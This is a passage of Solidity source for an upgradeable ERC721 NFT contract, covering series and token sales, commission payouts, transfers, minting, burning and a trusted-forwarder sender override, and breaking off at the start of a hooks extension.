suffix; mapping (uint256 => SaleInfoToken) public salesInfoToken; // tokenId => SaleInfoToken mapping (uint256 => SeriesInfo) public seriesInfo; // seriesId => SeriesInfo CommissionInfo public commissionInfo; // Global commission data mapping(uint256 => uint256) public mintedCountBySeries; struct SaleInfoToken { SaleInfo saleInfo; uint256 ownerCommissionValue; uint256 authorCommissionValue; } struct SaleInfo { uint64 onSaleUntil; address currency; uint256 price; } struct SeriesInfo { address payable author; uint32 limit; SaleInfo saleInfo; CommissionData commission; string baseURI; string suffix; } struct CommissionInfo { uint64 maxValue; uint64 minValue; CommissionData ownerCommission; } struct CommissionData { uint64 value; address recipient; } event SeriesPutOnSale( uint64 indexed seriesId, uint256 price, address currency, uint64 onSaleUntil ); event SeriesRemovedFromSale( uint64 indexed seriesId ); event TokenRemovedFromSale( uint256 indexed tokenId, address account ); event TokenPutOnSale( uint256 indexed tokenId, address indexed seller, uint256 price, address currency, uint64 onSaleUntil ); event TokenBought( uint256 indexed tokenId, address indexed seller, address indexed buyer, address currency, uint256 price ); /******************************************************************** ****** external section ********************************************* *********************************************************************/ /** * @dev sets the default baseURI for the whole contract * @param baseURI_ the prefix to prepend to URIs */ function setBaseURI( string calldata baseURI_ ) onlyOwner external { baseURI = baseURI_; _accountForOperation( OPERATION_SETMETADATA << OPERATION_SHIFT_BITS, 0x100, 0 ); } /** * @dev sets the default URI suffix for the whole contract * @param suffix_ the suffix to append to URIs */ function setSuffix( string calldata suffix_ ) onlyOwner external { suffix = suffix_; _accountForOperation( OPERATION_SETMETADATA << OPERATION_SHIFT_BITS, 0x010, 0 ); } /** * @dev sets contract URI. * @param newContractURI new contract URI */ function setContractURI(string memory newContractURI) external onlyOwner { _contractURI = newContractURI; _accountForOperation( OPERATION_SETMETADATA << OPERATION_SHIFT_BITS, 0x001, 0 ); } /** * @dev sets information for series with 'seriesId'. * @param seriesId series ID * @param info new info to set */ function setSeriesInfo( uint64 seriesId, SeriesInfo memory info ) external { _requireCanManageSeries(seriesId); if (info.saleInfo.onSaleUntil > seriesInfo[seriesId].saleInfo.onSaleUntil && info.saleInfo.onSaleUntil > block.timestamp ) { emit SeriesPutOnSale( seriesId, info.saleInfo.price, info.saleInfo.currency, info.saleInfo.onSaleUntil ); } else if (info.saleInfo.onSaleUntil <= block.timestamp ) { emit SeriesRemovedFromSale(seriesId); } seriesInfo[seriesId] = info; _accountForOperation( (OPERATION_SETSERIESINFO << OPERATION_SHIFT_BITS) | seriesId, uint256(uint160(info.saleInfo.currency)), info.saleInfo.price ); } /** * set commission paid to contract owner * @param commission new commission info */ function setOwnerCommission( CommissionInfo memory commission ) external onlyOwner { commissionInfo = commission; _accountForOperation( OPERATION_SETOWNERCOMMISSION << OPERATION_SHIFT_BITS, uint256(uint160(commission.ownerCommission.recipient)), commission.ownerCommission.value ); } /** * set commission for series * @param commissionData new commission data */ function setCommission( uint64 seriesId, CommissionData memory commissionData ) external { _requireCanManageSeries(seriesId); require( ( commissionData.value <= commissionInfo.maxValue && commissionData.value >= commissionInfo.minValue && commissionData.value + commissionInfo.ownerCommission.value < FRACTION ), "COMMISSION_INVALID" ); require(commissionData.recipient != address(0), "RECIPIENT_INVALID"); seriesInfo[seriesId].commission = commissionData; _accountForOperation( (OPERATION_SETCOMMISSION << OPERATION_SHIFT_BITS) | seriesId, commissionData.value, uint256(uint160(commissionData.recipient)) ); } /** * clear commission for series * @param seriesId seriesId */ function removeCommission( uint64 seriesId ) external { _requireCanManageSeries(seriesId); delete seriesInfo[seriesId].commission; _accountForOperation( (OPERATION_REMOVECOMMISSION << OPERATION_SHIFT_BITS) | seriesId, 0, 0 ); } /** * @dev lists on sale NFT with defined token ID with specified terms of sale * @param tokenId token ID * @param price price for sale * @param currency currency of sale * @param duration duration of sale */ function listForSale( uint256 tokenId, uint256 price, address currency, uint64 duration ) external { (bool success, /*bool isExists*/, /*SaleInfo memory data*/, /*address owner*/) = getTokenSaleInfo(tokenId); _requireCanManageToken(tokenId); require(!success, "already on sale"); require(duration > 0, "invalid duration"); uint64 seriesId = getSeriesId(tokenId); SaleInfo memory newSaleInfo = SaleInfo({ onSaleUntil: uint64(block.timestamp) + duration, currency: currency, price: price }); SaleInfoToken memory saleInfoToken = SaleInfoToken({ saleInfo: newSaleInfo, ownerCommissionValue: commissionInfo.ownerCommission.value, authorCommissionValue: seriesInfo[seriesId].commission.value }); _setSaleInfo(tokenId, saleInfoToken); emit TokenPutOnSale( tokenId, _msgSender(), newSaleInfo.price, newSaleInfo.currency, newSaleInfo.onSaleUntil ); _accountForOperation( (OPERATION_LISTFORSALE << OPERATION_SHIFT_BITS) | seriesId, uint256(uint160(currency)), price ); } /** * @dev removes from sale NFT with defined token ID * @param tokenId token ID */ function removeFromSale( uint256 tokenId ) external { (bool success, /*bool isExists*/, SaleInfo memory data, /*address owner*/) = getTokenSaleInfo(tokenId); require(success, "token not on sale"); _requireCanManageToken(tokenId); clearOnSaleUntil(tokenId); emit TokenRemovedFromSale(tokenId, _msgSender()); uint64 seriesId = getSeriesId(tokenId); _accountForOperation( (OPERATION_REMOVEFROMSALE << OPERATION_SHIFT_BITS) | seriesId, uint256(uint160(data.currency)), data.price ); } /** * @dev returns the list of all NFTs owned by 'account' with limit * @param account address of account */ function tokensByOwner( address account, uint32 limit ) external view returns (uint256[] memory ret) { return _tokensByOwner(account, limit); } /** * @dev mints and distributes NFTs with specified IDs * to specified addresses * @param tokenIds list of NFT IDs t obe minted * @param addresses list of receiver addresses */ function mintAndDistribute( uint256[] memory tokenIds, address[] memory addresses ) external { uint256 len = addresses.length; require(tokenIds.length == len, "lengths should be the same"); for(uint256 i = 0; i < len; i++) { _requireCanManageSeries(getSeriesId(tokenIds[i])); _mint(addresses[i], tokenIds[i]); } _accountForOperation( OPERATION_MINTANDDISTRIBUTE << OPERATION_SHIFT_BITS, len, 0 ); } /** * @dev sets the utility token * @param costManager_ new address of utility token, or 0 */ function overrideCostManager(address costManager_) external { // require factory owner or operator // otherwise needed deployer(!!not contract owner) in cases if was deployed manually require ( (factory.isContract()) ? IFactory(factory).canOverrideCostManager(_msgSender(), address(this)) : factory == _msgSender() , "cannot override" ); costManager = costManager_; } /******************************************************************** ****** public section *********************************************** *********************************************************************/ /** * @dev tells the caller whether they can set info for a series, * manage amount of commissions for the series, * mint and distribute tokens from it, etc. * @param seriesId the id of the series being asked about */ function canManageSeries(uint64 seriesId) public view returns (bool) { return owner() == _msgSender() || seriesInfo[seriesId].author == _msgSender(); } /** * @dev tells the caller whether they can transfer an existing token, * list it for sale and remove it from sale. * Tokens can be managed by their owner * or approved accounts via {approve} or {setApprovalForAll}. * @param tokenId the id of the tokens being asked about */ function canManageToken(uint256 tokenId) public view returns (bool) { return _canManageToken(tokenId); } /** * @dev Returns whether `tokenId` exists. * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function tokenExists(uint256 tokenId) public view virtual returns (bool) { return _exists(tokenId); } /** * @dev buys NFT for native coin with defined id. * mint token if it doesn't exist and transfer token * if it exists and is on sale * @param tokenId token ID to buy * @param price amount of specified native coin to pay * @param safe use safeMint and safeTransfer or not */ function buy(uint256 tokenId, uint256 price, bool safe) public payable nonReentrant { (bool success, bool exists, SaleInfo memory data, address beneficiary) = getTokenSaleInfo(tokenId); require(success, "token is not on sale"); require(msg.value >= data.price && price >= data.price, "insufficient amount sent"); require(address(0) == data.currency, "wrong currency for sale"); bool transferSuccess; uint256 left = data.price; (address[2] memory addresses, uint256[2] memory values, uint256 length) = calculateCommission(tokenId, data.price); // commissions payment for(uint256 i = 0; i < length; i++) { (transferSuccess, ) = addresses[i].call{gas: 3000, value: values[i]}(new bytes(0)); require(transferSuccess, "TRANSFER_COMMISSION_FAILED"); left -= values[i]; } (transferSuccess, ) = beneficiary.call{gas: 3000, value: left}(new bytes(0)); require(transferSuccess, "TRANSFER_TO_OWNER_FAILED"); uint256 refund = msg.value - data.price; if (refund > 0) { (transferSuccess, ) = msg.sender.call{gas: 3000, value: refund}(new bytes(0)); require(transferSuccess, "REFUND_FAILED"); } _buy(tokenId, exists, data, beneficiary, safe); uint64 seriesId = getSeriesId(tokenId); _accountForOperation( (OPERATION_BUY << OPERATION_SHIFT_BITS) | seriesId, 0, price ); } /** * @dev buys NFT for specified currency with defined id. * mint token if it doesn't exist and transfer token * if it exists and is on sale * @param tokenId token ID to buy * @param currency address of token to pay with * @param price amount of specified token to pay * @param safe use safeMint and safeTransfer or not */ function buy(uint256 tokenId, address currency, uint256 price, bool safe) public nonReentrant { (bool success, bool exists, SaleInfo memory data, address owner) = getTokenSaleInfo(tokenId); require(success, "token is not on sale"); require(currency == data.currency, "wrong currency for sale"); uint256 allowance = IERC20Upgradeable(data.currency).allowance(_msgSender(), address(this)); require(allowance >= data.price && price >= data.price, "insufficient amount"); uint256 left = data.price; (address[2] memory addresses, uint256[2] memory values, uint256 length) = calculateCommission(tokenId, data.price); // commissions payment for(uint256 i = 0; i < length; i++) { IERC20Upgradeable(data.currency).transferFrom(_msgSender(), addresses[i], values[i]); left -= values[i]; } IERC20Upgradeable(data.currency).transferFrom(_msgSender(), owner, left); _buy(tokenId, exists, data, owner, safe); uint64 seriesId = getSeriesId(tokenId); _accountForOperation( (OPERATION_BUY << OPERATION_SHIFT_BITS) | seriesId, uint256(uint160(currency)), price ); } /** * @dev calculate commission for `tokenId` * if param exists equal true, then token doesn't exists yet. * otherwise we should use snapshot parameters: ownerCommission/authorCommission, that hold during listForSale. * used to prevent increasing commissions * @param tokenId token ID to calculate commission * @param price amount of specified token to pay */ function calculateCommission( uint256 tokenId, uint256 price ) internal view returns( address[2] memory addresses, uint256[2] memory values, uint256 length ) { uint64 seriesId = getSeriesId(tokenId); length = 0; uint256 sum; // contract owner commission if (commissionInfo.ownerCommission.recipient != address(0)) { uint256 oc = salesInfoToken[tokenId].ownerCommissionValue; if (commissionInfo.ownerCommission.value < oc) oc = commissionInfo.ownerCommission.value; if (oc != 0) { addresses[length] = commissionInfo.ownerCommission.recipient; sum += oc; values[length] = oc * price / FRACTION; length++; } } // author commission if (seriesInfo[seriesId].commission.recipient != address(0)) { uint256 ac = salesInfoToken[tokenId].authorCommissionValue; if (seriesInfo[seriesId].commission.value < ac) ac = seriesInfo[seriesId].commission.value; if (ac != 0) { addresses[length] = seriesInfo[seriesId].commission.recipient; sum += ac; values[length] = ac * price / FRACTION; length++; } } require(sum < FRACTION, "invalid commission"); } /** * @dev returns contract URI. */ function contractURI() public view returns(string memory){ return _contractURI; } /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _ownerOf(tokenId); require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Returns the token collection name. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the token collection symbol. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev sets name and symbol for contract * @param newName new name * @param newSymbol new symbol */ function setNameAndSymbol( string memory newName, string memory newSymbol ) public onlyOwner { _setNameAndSymbol(newName, newSymbol); } /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI( uint256 tokenId ) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenIdHexString = tokenId.toHexString(); uint64 seriesId = getSeriesId(tokenId); string memory baseURI_ = seriesInfo[seriesId].baseURI; string memory suffix_ = seriesInfo[seriesId].suffix; if (bytes(baseURI_).length == 0) { baseURI_ = baseURI; } if (bytes(suffix_).length == 0) { suffix_ = suffix; } // If all are set, concatenate if (bytes(_tokenIdHexString).length > 0) { return string(abi.encodePacked(baseURI_, _tokenIdHexString, suffix_)); } return ""; } /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); address ms = _msgSender(); require( ms == owner || isApprovedForAll(owner, ms), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(ownerOf(tokenId) != address(0), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length _requireCanManageToken(tokenId); _transfer(from, to, tokenId); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _requireCanManageToken(tokenId); _safeTransfer(from, to, tokenId, _data); } /** * @dev Transfers `tokenId` token from sender to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by sender. * * Emits a {Transfer} event. */ function transfer( address to, uint256 tokenId ) public virtual { _requireCanManageToken(tokenId); _transfer(_msgSender(), to, tokenId); } /** * @dev Safely transfers `tokenId` token from sender to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by sender. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransfer( address to, uint256 tokenId ) public virtual { _requireCanManageToken(tokenId); _safeTransfer(_msgSender(), to, tokenId, ""); } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length _requireCanManageToken(tokenId); _burn(tokenId); _accountForOperation( OPERATION_BURN << OPERATION_SHIFT_BITS, tokenId, 0 ); } /** * @dev returns if token is on sale or not, * whether it exists or not, * as well as data about the sale and its owner * @param tokenId token ID */ function getTokenSaleInfo(uint256 tokenId) public view returns ( bool isOnSale, bool exists, SaleInfo memory data, address owner ) { data = salesInfoToken[tokenId].saleInfo; exists = _exists(tokenId); owner = _owners[tokenId]; if (owner != address(0)) { if (data.onSaleUntil > block.timestamp) { isOnSale = true; } } else { uint64 seriesId = getSeriesId(tokenId); SeriesInfo memory seriesData = seriesInfo[seriesId]; if (seriesData.saleInfo.onSaleUntil > block.timestamp) { isOnSale = true; data = seriesData.saleInfo; owner = seriesData.author; } } } /** * @dev the owner should be absolutely sure they trust the trustedForwarder * @param trustedForwarder_ must be a smart contract that was audited */ function setTrustedForwarder( address trustedForwarder_ ) onlyOwner public { _setTrustedForwarder(trustedForwarder_); } /******************************************************************** ****** internal section ********************************************* *********************************************************************/ function _msgSender( ) internal view override returns (address signer) { signer = msg.sender; if (msg.data.length >= 20 && trustedForwarder == signer) { assembly { signer := shr(96,calldataload(sub(calldatasize(),20))) } } } function _setTrustedForwarder( address trustedForwarder_ ) internal { trustedForwarder = trustedForwarder_; } function _transferOwnership( address newOwner ) internal virtual override { super._transferOwnership(newOwner); _setTrustedForwarder(address(0)); } function _buy( uint256 tokenId, bool exists, SaleInfo memory data, address owner, bool safe ) internal virtual { address ms = _msgSender(); if (exists) { if (safe) { _safeTransfer(owner, ms, tokenId, new bytes(0)); } else { _transfer(owner, ms, tokenId); } emit TokenBought( tokenId, owner, ms, data.currency, data.price ); } else { if (safe) { _safeMint(ms, tokenId); } else { _mint(ms, tokenId); } emit Transfer(owner, ms, tokenId); emit TokenBought( tokenId, owner, ms, data.currency, data.price ); } } /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init( string memory name_, string memory symbol_, address costManager_, address producedBy_ ) internal initializer { __Context_init(); __ERC165_init(); __Ownable_init(); __ReentrancyGuard_init(); _setNameAndSymbol(name_, symbol_); costManager = costManager_; factory = _msgSender(); _accountForOperation( OPERATION_INITIALIZE << OPERATION_SHIFT_BITS, uint256(uint160(producedBy_)), 0 ); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "recipient must implement ERC721Receiver interface"); } function _ownerOf(uint256 tokenId) internal view virtual returns (address) { return _owners[tokenId]; } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. if flag `skipEvent` is false */ function _mint( address to, uint256 tokenId ) internal virtual { require(to != address(0), "can't mint to the zero address"); require(_owners[tokenId] == address(0), "token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; uint64 seriesId = getSeriesId(tokenId); mintedCountBySeries[seriesId] += 1; if (seriesInfo[seriesId].limit != 0) { require( mintedCountBySeries[seriesId] <= seriesInfo[seriesId].limit, "series token limit exceeded" ); } emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; _balances[DEAD_ADDRESS] += 1; _owners[tokenId] = DEAD_ADDRESS; clearOnSaleUntil(tokenId); emit Transfer(owner, DEAD_ADDRESS, tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ownerOf(tokenId) == from, "token isn't owned by from address"); require(to != address(0), "can't transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; clearOnSaleUntil(tokenId); emit Transfer(from, to, tokenId); _accountForOperation( (OPERATION_TRANSFER << OPERATION_SHIFT_BITS) | getSeriesId(tokenId), uint256(uint160(from)), uint256(uint160(to)) ); } /** * @dev sets sale info for the NFT with 'tokenId' * @param tokenId token ID * @param info information about sale */ function _setSaleInfo( uint256 tokenId, SaleInfoToken memory info ) internal { salesInfoToken[tokenId] = info; } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @param account account * @param limit limit */ function _tokensByOwner( address account, uint32 limit ) internal view returns (uint256[] memory array) { uint256 len = balanceOf(account); if (len > 0) { len = (limit != 0 && limit < len) ? limit : len; array = new uint256[](len); for (uint256 i = 0; i < len; i++) { array[i] = _ownedTokens[account][i]; } } } function getSeriesId( uint256 tokenId ) internal pure returns(uint64) { return uint64(tokenId >> SERIES_SHIFT_BITS); } /** * @dev sets name and symbol for contract * @param newName new name * @param newSymbol new symbol */ function _setNameAndSymbol( string memory newName, string memory newSymbol ) internal { _name = newName; _symbol = newSymbol; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual { if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function clearOnSaleUntil(uint256 tokenId) internal { if (salesInfoToken[tokenId].saleInfo.onSaleUntil > 0 ) salesInfoToken[tokenId].saleInfo.onSaleUntil = 0; } function _requireCanManageSeries(uint64 seriesId) internal view virtual { require(canManageSeries(seriesId), "you can't manage this series"); } function _requireCanManageToken(uint256 tokenId) internal view virtual { require(_exists(tokenId), "token doesn't exist"); require(_canManageToken(tokenId), "you can't manage this token"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0) && _owners[tokenId] != DEAD_ADDRESS; } function _canManageToken(uint256 tokenId) internal view returns (bool) { return _ownerOf(tokenId) == _msgSender() || getApproved(tokenId) == _msgSender() || isApprovedForAll(_ownerOf(tokenId), _msgSender()); } /******************************************************************** ****** private section ********************************************** *********************************************************************/ /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } /** * @dev Private function that tells utility token contract to account for an operation * @param info uint256 The operation ID (first 8 bits), seriesId is last 8 bits * @param param1 uint256 Some more information, if any * @param param2 uint256 Some more information, if any */ function _accountForOperation(uint256 info, uint256 param1, uint256 param2) private { if (costManager != address(0)) { try ICostManager(costManager).accountForOperation( _msgSender(), info, param1, param2 ) returns (uint256 /*spent*/, uint256 /*remaining*/) { // if error is not thrown, we are fine } catch Error(string memory reason) { // This is executed in case revert() was called with a reason revert(reason); } catch { revert("Insufficient Utility Token: Contact Owner"); } } } } // File: contracts/extensions/ERC721SafeHooksUpgradeable.sol pragma solidity ^0.8.0; /** * holds count of series hooks while token mint and buy */ abstract contract ERC721SafeHooksUpgradeable is Initializable, ERC721UpgradeableExt { using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping (uint256 => uint256) public hooksCountByToken; // token ID => hooks count mapping(uint256 => EnumerableSetUpgradeable.AddressSet) internal hooks; // series ID => hooks' addresses event NewHook(uint256 seriesId, address contractAddress); /** * @dev buys NFT for ETH with defined id. * mint token if it doesn't exist and transfer token * if it exists and is on sale * @param tokenId token ID to buy * @param price amount of specified ETH to pay * @param safe use safeMint and safeTransfer or not * @param hookCount number of hooks */ function buy( uint256 tokenId, uint256 price, bool safe, uint256 hookCount ) external payable { validateHookCount(tokenId, hookCount); super.buy(tokenId, price, safe); } /** * @dev buys NFT for specified currency with defined id. * mint token if it doesn't exist and transfer token * if it exists and is on sale * @param tokenId token ID to buy * @param 